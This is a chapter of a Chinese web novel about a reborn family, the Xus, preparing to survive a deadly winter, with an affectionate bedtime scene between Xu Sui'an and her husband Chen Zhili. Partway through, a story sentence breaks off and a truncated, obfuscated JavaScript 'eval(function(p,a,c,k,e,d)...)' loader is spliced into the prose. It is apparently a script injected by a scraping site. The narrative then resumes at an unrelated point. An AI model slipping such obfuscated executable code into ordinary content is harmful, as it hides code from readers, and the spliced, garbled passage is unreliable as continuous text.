张有点头答应,本来早点儿晚点儿对她来说都一样,现在她最愁的事情还是银子和土地。 一路无言,等许岁安她们到家时,晚饭也快做好了。 许春花和许岁安两人待在堂屋里,等着开饭。 “......张姐她活过这个寒冬了吗?”许春花问。 许岁安沉默片刻,回想起记忆里看到的事情,“...她家只有她和她的两个孩子活过寒冬了。”不过张姨的儿子还没熬到极热期就死了。 “那也行。”许春花说,“既然上辈子她们都能活下来,这辈子有了火炕活下来的人会更多。” 张有是个挺好的人,如果可以,许春花还是希望她能活下来的。 “吃饭了!”周林端着菜走进堂屋,“安安你去厨房把剩下的菜饭装进空间去。” 许岁安应了一声就出去了,到厨房看见陈知礼正在摆放一次性餐盒。 “知礼,我来啦。”许岁安笑嘻嘻的说道。 陈知礼听见熟悉的声音,在一大堆餐盒的遮盖下,抬起头,看见来人,笑意自然而然的出现在脸上。 “妻主,饭菜都装好了,可以收进去了。” “好。”许岁安一挥手,放在桌子上的餐盒全部消失不见。 “知礼真棒!”许岁安乐呵呵的过去拉着陈知礼的手,以迅雷不及掩耳之势在他脸上亲了一口。 一抹绯红快速蔓延在陈知礼的脸颊上,他惊慌失措的四处看着周围还有没有其他人,还好,没人。 心里安定了,喜悦极快的裹挟到陈知礼全身,对于许岁安这种偶尔的突然袭击,陈知礼其实心里非常受用。 堂屋里,许春花看着周林,眉头微皱的问道:“林林,你说我要不要劝张姐把那地卖了啊?” 周林停下动作,想了想,“其实你劝不劝都没什么差别,最后还是看张姐自己的意思,她是个主意大的,要是真的决定了,其他人也拦不住她。” “但是妻主,如果你心里实在惦念,劝了也没什么,按村长说的,你劝她也是有理由的。” 许春花叹息一声,“算了,看天意吧,要是后面我上山遇到了她,就劝一声吧。” “土地对于我们来说,终究是大事,她下不了决心也很正常。” “嗯,你想好就行,我去厨房把菜端过来。”周林点头,转身离开了。 路上,周林正好碰见端菜过来的许岁安和陈知礼,“安安,菜端完了吗?” “端完了,还有两碗米饭没拿,爹去拿那个吧。”许岁安说道。 外面的天色有点黑了,堂屋里有些昏暗,许岁安把菜放下,点燃油灯和蜡烛。 暖黄光线的照耀下,摆好的饭菜,亲近的家人,许岁安看着这岁月静好的一幕,温馨的感觉油然而生。 ...... 屋外漆黑如墨,零星的光亮点缀在这黑色的幕布上,清冷的月光遥遥笼罩下来,让小溪村没有彻底陷入黑暗之中。 许岁安和陈知礼并排躺在床上,聊起了以后的事情。 “妻主,等后面冷了大家住在一个屋,你还会亲亲我吗?” 陈知礼语气黏黏乎乎的,这种话题对他来说有点大胆了,不过他非常想知道答案,所以还是羞涩的问了。 许岁安眉眼柔和,“当然啦,我们不是每天都要亲亲吗?” 这个答案是陈知礼喜欢的,但他还有其他的顾虑,“嗯,其实我有点舍不得。” 许岁安明白陈知礼的想法,本来只有她们两个的屋子有了其他人,私密性不再,也不好再有什么亲密动作。 “...其实,其实倒也不用担心。” 许岁安说,“我刚刚突然想到了,等火炕搭起来后,我们可以在屋子里装帘子或者放屏风来分割空间,这样大家就可以有自己的空间了。” “除了不隔音之外,和之前也没太大的差别。” “火炕长四米,到时候我们在中间放上桌子来隔离,一边我们,一边娘爹。” “你觉得怎么样,知礼?” 听见许岁安这样说,陈知礼觉得好受许多。 他本来私下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许岁安笑了笑,她认为她自己没什么特别厉害的,只是空间比较特殊,陈知礼觉得她这么好,大概是爱情滤镜吧。 “知礼...”,被子下,许岁安和陈知礼十指相扣,“这次我们一定能活到最后的。” 许岁安温柔坚定的话语萦绕在陈知礼耳边,陈知礼忽然想起了自己上一世的经历,那些独自躲在山洞里的时光好像已经隔了很久很久了。 久到如今他再次回想起来,都有种不真切的感觉。 感受到身旁另一个人的体温,陈知礼垂下眼帘,默默将自己挪的离那人更近,他已经不再是一个人了。 陈知礼默默地握紧许岁安的手,他想,不管未来会怎样,都一定都会比他上一世好。 如果她们活到了最后,可以一起开始过平淡又幸福的生活,那真是太好了。 不过即使中途出了意外,自己没能活过最后,陈知礼觉得,单凭这段时间的生活,他也算是没有白重生了。 但‘好幸福...好幸福...’,‘好幸福啊...’,现在活着的每一天陈知礼都感到了深深的幸福,幸福到他每天都害怕这是一场梦境。 因为幸福,所以他贪婪,因为幸福,所以他不甘。 陈知礼不甘心自己可能会在中途死去,他要一直一直和妻主在一起。 等以后她们稳定了,这些天灾都过去了,他还要给妻主生一个女儿,他要拥有完整的一个家。 所以,“嗯!”,陈知礼坚定回应道,“妻主,我们一定能一起活到最后的!”